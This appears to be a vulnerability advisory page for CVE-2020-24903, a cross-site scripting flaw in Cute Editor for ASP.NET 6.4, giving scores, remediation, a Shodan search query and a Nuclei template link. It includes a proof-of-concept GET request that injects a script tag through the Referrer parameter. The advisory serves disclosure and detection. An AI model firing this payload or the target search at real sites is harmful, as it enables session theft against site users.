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CVE-2020-24903: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting

TitleCute Editor for ASP.NET 6.4 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
CVSS Score6.1
EPSS Score0.05233
CVE IDCVE-2020-24903
CWE IDCWE-79
Shodan Queryhttp.component:"ASP.NET"http.component:"asp.net"
Tags cve cve2020 cuteeditor xss seclists cutesoft asp.net vuln

🔍 Vulnerability Description

Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24903.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24903.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A